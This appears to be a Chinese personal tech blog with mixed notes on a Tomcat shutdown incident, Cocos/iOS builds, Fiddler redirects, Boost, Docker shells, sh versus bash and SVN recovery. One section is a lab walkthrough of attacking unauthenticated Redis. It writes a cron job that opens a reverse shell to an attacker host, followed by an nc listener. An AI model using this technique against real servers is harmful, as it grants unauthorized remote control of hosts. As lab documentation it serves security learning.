tomcat异常退出记录

事件

同事头天夜里远程部署线上集群环境第二天发现服务异常,但头天夜里部署时说测试正常,处理报警时只有一个节点能访问其余全部异常。

问题

当使用tomcat /bin目录下的脚本停止tomcat时catalina.out会输出如下日志

21-May-2020 16:00:08.919 INFO [main] org.apache.catalina.core.StandardServer.await A valid shutdown command was received via the shutdown port. Stopping the Ser
ver instance.
21-May-2020 16:00:08.919 INFO [main] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["http-nio-80"]
21-May-2020 16:00:08.970 INFO [main] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["ajp-nio-8009"]
21-May-2020 16:00:09.021 INFO [main] org.apache.catalina.core.StandardService.stopInternal Stopping service Catalina

如果是异常退出时

21-May-2020 16:12:00.754 INFO [Thread-12] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["http-nio-80"]
2020-05-21 16:12:00,754  INFO Thread-11 o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext:991 - Closing org.springframework.boot.web.servlet.contex
t.AnnotationConfigServletWebServerApplicationContext@41357de2: startup date [Thu May 21 16:10:21 CST 2020]; root of context hierarchy
2020-05-21 16:12:00,766  INFO Thread-11 o.s.c.s.DefaultLifecycleProcessor:369 - Stopping beans in phase 2147483647
21-May-2020 16:12:00.814 INFO [Thread-12] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["ajp-nio-8009"]
2020-05-21 16:12:00,831  INFO Thread-11 o.s.o.j.LocalContainerEntityManagerFactoryBean:597 - Closing JPA EntityManagerFactory for persistence unit 'default'
21-May-2020 16:12:00.864 INFO [Thread-12] org.apache.catalina.core.StandardService.stopInternal Stopping service Catalina

异常退出造成的原因为开发人员在启动tomcat实例时想观察启动日志错误的使用命令./startup.sh & tailf ../logs/catalina.out注意&&&的含义有天壤之别也是引发这次异常停机问题的关键,&使命令在后台运行,当以&&连接两个命令时表示当前面一个命令没有错误正确退出时后面紧接着执行后一个命令,所以正确的写法应该是./startup.sh && tailf ../logs/catalina.out.

可能的原因

使用ssh工具进行远程连接执行了错误的命令./startup.sh & tailf ../logs/catalina.out根据当事人所说执行上述命令后没有关闭ssh工具窗口,ssh会话一直处于执行tailf命令状态下然后锁定计算机就休息了,当shell以非交互模式运行时其子进程fork时会对shell进程的父进程的中断信号量敏感,当tomcat(java)进程被创建时可能会受到当前ssh会话进程的影响会对ssh会话进程的中断做出反应,当ssh收到中断信号量时该信号量可能会在进程组内传播造成tomcat(java)进程意外中断。

Cocos杂记

项目构建

android

  • 在构建目录build\jsb-default\frameworks\runtime-src下找到android项目
  • 使用android studio导入构建项目解决依赖问题后进行联机调试和打包

    windows

ios

  • 在macOS平台使用Cocos Creator进行ios构建
  • 在构建目录build\jsb-default\frameworks\runtime-src下找到ios项目
  • 使用Xcode找到工程文件打开编译连接设备进行调试或打包
  • 其中有可能Xcode编译不过具体情况需具体分析 这里举例
    'system' is unavailable: not available on iOS
  • 该错误需要更改Cocos cpp构建文件remove “system” usage
  • 还有可能Cocos构建脚本在检查Xcode版本时出现错误
    cocos2d project_compile.py ValueError: invalid literal for float(): 11.2.1
  • 本地Xcode版本为11.2.1直接在project_compile.py把version<5的判断注释即可
  • 在项目中使用第三方依赖时需要进行依赖管理,这里使用cocoapods管理,其中涉及使用gem更新Ruby,建立repo和 创建Podfile,之后就不能使用.xcodeproj文件进入工程了必须使用生成的.xcworkspace打开工程
  • 修改Podfile文件,就需要重新运行一下pod update命令。如何使用CocoaPods
  • 在升级百家云的时候发现update异常缓慢更换git访问代理 git config --global http.https://github.com.proxy socks5://192.168.1.57:1080

项目问题

ios

  • 使用NSJSONSerialization序列化json时当json属性值为null时返回对象为NSNull判断时需注意

  • nil和NSNull还是有区别的nil表示 nil表示引用计数为0的待释放对象,NSNull代表空对象

  • js调用oc代码时使用WkWebKit发送message到指定的handler发送的message需为json格式且不能为空

vue

  • 在使用webpack-parallel-uglify-plugin ^1.1.2打包时出现错误Maximum call stack size exceeded把版本降为1.1.0解决

项目调试

ios

  • 调试webviewsafari浏览器提供了天然的便利,在使用xcode运行程序时可以打开safari浏览器的开发模式察看加载的webview页面

    vue

  • 使用webpack可以对vue前端代码进行热更新,其原理大概为webpack作为服务端与浏览器建立一个长连接,当修改代码保存时webpack会发送更改后的代码片段和更改的位置让浏览器进行替换从而达到即时生效的效果.
  • 使用Fiddler可以更加清楚的看到webpack在进行热更新时发送的包.
  • 在热更新时通过抓包观察这三个文件
    .hot-update.json
    .hot-update.json
    .hot-update.js
  • 了解上述webpack热更新的原理后,因为我们线上使用vue项目都会打包压缩,然后暴露出一个index.html的访问路径来访问我们的vue项目,我们要做的就是如何将app中访问index.html文件的服务器路径更改成我们本地的webpack服务路径.
  • 使用Fidder进行请求的重定向.
  • 拦截我们app中的路径请求转发至webpack服务

    EXACT:http://192.168.1.73/index.html              http://localhost:3000/
    EXACT:http://192.168.1.73/__webpack_hmr           http://localhost:3000/__webpack_hmr
    regex:http://192.168.1.73/([^.]+).js$             http://localhost:3000/$1.js
    regex:http://192.168.1.73/(.+).hot-update.json$   http://localhost:3000/$1.hot-update.json
    regex:http://192.168.1.73/(.+).hot-update.js$     http://localhost:3000/$1.hot-update.js
  • 至此我们就可以在app上进行动态调试并通过webkit调用Cocos查看效果了.
  • 由于登陆部分是在Cocos做的服务器返回的sessionId是通过JS代码传递给Vue的当使用上述转发策略时丢失了这些逻辑,以至于当Vue访问服务端接口时报401,该问题也可以通过Fiddler来解决通过手动更改FiddlerScipt记录登陆成功的sessionId,在后续请求头中带着该sessionId

                                 .
                                 .
                                 .
    static var sessionId: String = null;
    
    static function OnBeforeRequest(oSession: Session) {
                                 .
                                 .
                                 .
       if(oSession.uriContains("/path/") && !oSession.uriContains("/path/login")){
         oSession.oRequest["Cookie"] = sessionId;
       }
    }
                                 .
                                 .
                                 .
    static function OnBeforeResponse(oSession: Session) {
                                 .
                                 .
                                 .
       if(oSession.uriContains("/path/login")){
          sessionId = oSession.oResponse["Set-Cookie"];
       }
    }
    
    

多希望这场噩梦能快点醒来

最初,没有人在意这场灾难

这不过是一场山火,一次旱灾,

一个物种的灭绝,一座城市的消失。

直到这场灾难和每个人息息相关。

——《流浪地球》

Special Boost libraries With Cmake3

centos中默认安装的C++ boost libraries过于老旧有些依赖编译安装的软件预编译不过

Unable to find the Boost header files.  Please set BOOST_ROOT to the root   directory containing Boost or BOOST_INCLUDEDIR to the directory containing

https://www.boost.org下载最新的版本

wget https://dl.bintray.com/boostorg/release/1.72.0/source/boost_1_72_0.tar.gz
tar -xzf boost_1_72_0.tar.gz cd boost_1_72_0 ./bootstrap.sh --prefix=/opt/boost ./b2 install --prefix=/opt/boost --with=all

在cmake时指定boost安装路径

cmake3 -DBOOST_ROOT=/opt/boost

from https://cmake.org/cmake/help/v3.0/module/FindBoost.html

‘SSH’ into Docker container

docker ps
docker container exec -it <container name or id> /bin/sh

注意:红色部分取决于container使用的linux版本,大多数GNU/Linux系统其sh都连接到bash,在/bin文件夹下可观察到.

在bash存在的情况下上述命令也可为

docker container exec -it <container name or id> /bin/bash

如bash不存在则会发生如下错误

OCI runtime exec failed: exec failed: container_linux.go:345: starting container process caused "exec: \"/bin/bash\": stat /bin/bash: no such file or directory": unknown

What is sh

sh (or the Shell Command Language) is a programming language described by the POSIX standard. It has many implementations (ksh88dash, …). bash can also be considered an implementation of sh (see below).

Because sh is a specification, not an implementation, /bin/sh is a symlink (or a hard link) to an actual implementation on most POSIX systems.

What is bash

bash started as an sh-compatible implementation (although it predates the POSIX standard by a few years), but as time passed it has acquired many extensions. Many of these extensions may change the behavior of valid POSIX shell scripts, so by itself bash is not a valid POSIX shell. Rather, it is a dialect of the POSIX shell language.

bash supports a --posix switch, which makes it more POSIX-compliant. It also tries to mimic POSIX if invoked as sh.

sh = bash?

For a long time, /bin/sh used to point to /bin/bash on most GNU/Linux systems. As a result, it had almost become safe to ignore the difference between the two. But that started to change recently.

Some popular examples of systems where /bin/sh does not point to /bin/bash (and on some of which /bin/bash may not even exist) are:

  1. Modern Debian and Ubuntu systems, which symlink sh to dash by default;
  2. Busybox, which is usually run during the Linux system boot time as part of initramfs. It uses the ash shell implementation.
  3. BSDs, and in general any non-Linux systems. OpenBSD uses pdksh, a descendant of the Korn shell. FreeBSD’s sh is a descendant of the original UNIX Bourne shell. Solaris has its own sh which for a long time was not POSIX-compliant; a free implementation is available from the Heirloom project.

How can you find out what /bin/sh points to on your system?

The complication is that /bin/sh could be a symbolic link or a hard link. If it’s a symbolic link, a portable way to resolve it is:

% file -h /bin/sh
/bin/sh: symbolic link to bash

If it’s a hard link, try

% find -L /bin -samefile /bin/sh
/bin/sh
/bin/bash

In fact, the -L flag covers both symlinks and hardlinks, but the disadvantage of this method is that it is not portable — POSIX does not require find to support the -samefile option, although both GNU find and FreeBSD find support it.

Shebang line

Ultimately, it’s up to you to decide which one to use, by writing the «shebang» line.

E.g.

#!/bin/sh

will use sh (and whatever that happens to point to),

#!/bin/bash

will use /bin/bash if it’s available (and fail with an error message if it’s not). Of course, you can also specify another implementation, e.g.

#!/bin/dash

Which one to use

For my own scripts, I prefer sh for the following reasons:

  • it is standardized
  • it is much simpler and easier to learn
  • it is portable across POSIX systems — even if they happen not to have bash, they are required to have sh

There are advantages to using bash as well. Its features make programming more convenient and similar to programming in other modern programming languages. These include things like scoped local variables and arrays. Plain sh is a very minimalistic programming language.

from https://stackoverflow.com/a/5725402

通过redis渗透

如果redis绑定在0.0.0.0地址且无需密码访问并对/var/spool/cron有写入权限那很可能会对主机安全造成影响

渗透工具 nmap nc redis-cli(这里使用的是kail环境)

渗透目标 192.168.1.179

攻击机 192.168.1.73

使用nmap扫描目标,由于是测试端口范围已知,红色为redis集群端口

nmap -p 7000-7010 -sT -O 192.168.1.179
Nmap scan report for 192.168.1.179
Host is up (0.00032s latency).
PORT     STATE  SERVICE
7000/tcp closed afs3-fileserver
7001/tcp open   afs3-callback
7002/tcp open   afs3-prserver
7003/tcp open   afs3-vlserver
7004/tcp open   afs3-kaserver
7005/tcp open   afs3-volser
7006/tcp open   afs3-errors
7007/tcp closed afs3-bos
7008/tcp closed afs3-update
7009/tcp closed afs3-rmtsys
7010/tcp closed ups-onlinet

使用cli集群模式连接redis

redis-cli -c -h 192.168.1.179 -p 7001

切换至定时任务目录

192.168.1.179:7001> CONFIG SET dir /var/spool/cron

创建一个定时任务文件

192.168.1.179:7001> CONFIG SET dbfilename hack

设置一个定时任务反弹shell save保存exit退出

set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.73/9999 0>&1\n\n"

进入指定端口交互式shell

nc -l -p 9999

渗透完成

SVN的迁移与恢复

在经历服务器断电硬盘恢复后重新恢复svn服务

首先使用svnadmin命令初始化一个仓库

svnadmin create repos

该存储库用于之后的导入

然后在恢复好的硬盘中找到原存储库的current文件观察当前递增的版本号,路径根据之前仓库路径变化

cat /mnt/usb/backup/sqn004\ lv_home/svn/repo/db/current
23082

使用dump命令导出原有存储库,如果仓库内容很多时间会很长

svnadmin dump /mnt/usb/backup/sqn004\ lv_home/svn/repo > /home/svnrepo.dump
* 已转存版本 0。
* 已转存版本 1。
* 已转存版本 2。
* 已转存版本 3。
      .
      .

期间如果出现导出失败记录下失败标号,当前事例由于存储空间问题失败与版本22986,释放空间后加入参数重新dump

svnadmin dump /mnt/usb/backup/sqn004\ lv_home/svn/repo/ -r 22986:23082 --incremental >svnrepo2.dump

完成后将dump文件重新load进新的存储库

svnadmin load /home/svn/repo/ < svnrepo.dump
svnadmin load /home/svn/repo/ < svnrepo2.dump